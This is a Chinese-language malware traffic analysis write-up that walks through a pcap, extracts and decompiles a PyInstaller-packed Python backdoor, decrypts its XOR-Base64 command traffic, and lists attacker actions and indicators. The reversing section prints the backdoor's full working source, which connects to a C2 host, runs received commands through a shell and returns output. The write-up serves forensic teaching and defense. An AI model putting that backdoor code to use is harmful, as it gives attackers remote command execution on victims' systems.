Logo 0xd00
恶意软件流量分析:基于 Python 的后门与 XOR-Base64 C2 通信
Table of Contents

初始信息

捕获网络流量包文件.pcap一份,包含异常通信行为

流量分析

导入pcap文件

流量过滤

可以看到若干ssh流量,ssh的传输都是加密的所以先给过滤掉

发现可疑请求路径/base64_client

发现特殊路径

异常HTTP会话

GET /base64_client HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 10.0.2.64
Connection: Keep-Alive
 
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.11.4
Date: Fri, 27 Oct 2023 03:06:00 GMT
Content-type: application/octet-stream
Content-Length: 16181879
Last-Modified: Fri, 27 Oct 2023 03:05:03 GMT

查看请求头和响应头可以看到是通过Wget从python的SimpleHTTP下载文件,这就非常像是攻击者的常用手法

文件提取

导出HTTP对象进行分析

导出HTTP对象

逆向工程

文件预处理

查看追踪数据流

因为格式看起来可能是base64编码,所以尝试进行解

cat base64_client | base64 -d > client
binwalk client

解码并判断文件类型

可以确定,这是一个linux环境下的x86架构可执行文件

objdump -x client

通过objdump获取更多信息

pydata段通常保存pyc,由此可以判断此程序通过python编写,可能通过pyinstaller打包

尝试运行也可以证明

尝试运行

pyinstaller逆向

python pyinstxtractor.py ./client

使用pyinstxtractor反编译

使用https://github.com/extremecoders-re/pyinstxtractor.git来提取pyc文件

核心代码逆向

接下来尝试使用uncompyle6来进行反编译

uncompyle6 -o client_extracted client_extracted/client.pyc
import socket, base64, subprocess, sys
HOST = "10.0.2.64"
PORT = 1337
 
def xor_crypt(data, key):
    key_length = len(key)
    encrypted_data = []
    for i, byte in enumerate(data):
        encrypted_byte = byte ^ key[i % key_length]
        encrypted_data.append(encrypted_byte)
    else:
        return bytes(encrypted_data)
 
 
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    while True:
        received_data = s.recv(4096).decode("utf-8")
        encoded_image, encoded_command = received_data.split("AAAAAAAAAA")
        key = "MySup3rXoRKeYForCommandandControl".encode("utf-8")
        decrypted_command = xor_crypt(base64.b64decode(encoded_command.encode("utf-8")), key)
        decrypted_command = decrypted_command.decode("utf-8")
        result = subprocess.check_output(decrypted_command, shell=True).decode("utf-8")
        encrypted_result = xor_crypt(result.encode("utf-8"), key)
        encrypted_result_base64 = base64.b64encode(encrypted_result).decode("utf-8")
        separator = "AAAAAAAAAA"
        send = encoded_image + separator + encrypted_result_base64
        s.sendall(send.encode("utf-8"))

到这里已经知道了攻击者的流量加密方式:(xor+base编码)、端口(1337)、执行的命令混淆在图片的base64编码重,使用AAAAAAAAAA分割

在数据流中查找分割字符串

攻击链重置

wireshark中过滤1337端口,判断攻击者执行的命令

尝试解码全部请求数据,可以看到攻击者用于隐藏操作命令的图片

CyberChef解码数据1

CyberChef解码数据2

CyberChef解码数据3

编写解密代码

import re
import base64
 
file_path = 'data.txt'
xor_key = "MySup3rXoRKeYForCommandandControl"
 
def xor_decrypt(data, key):
    return ''.join(chr(b ^ ord(key[i % len(key)])) for i, b in enumerate(data))
 
with open(file_path) as file:
    content = file.read()
    matches = re.findall(r"AAAAAAAAAA(.*?)iVBORw", content)
 
    for match in matches:
        try:
            decoded_command = base64.b64decode(match)
            print("Decrypted Command:", xor_decrypt(decoded_command, xor_key))
        except Exception as e:
            print("Error decoding command:", e)

确认攻击者操作序列

查看解密出的命令

攻击者首先确认了当前用户的身份与权限

浏览历史命令获取更多信息

通过历史命令获取了明文数据库密码

添加了一个具有root权限的用户

制作具有SUID的后门/usr/bin/passswd并检查文件权限

使用md5sum校验哈希值是否相等

通过定时任务实现其他目标

技术指标

指标类型具体内容
C2服务器10.0.2.64:1337
加密算法XOR + Base64
密钥MySup3rXoRKeYForCommandandControl
持久化方式SUID后门账户、定时任务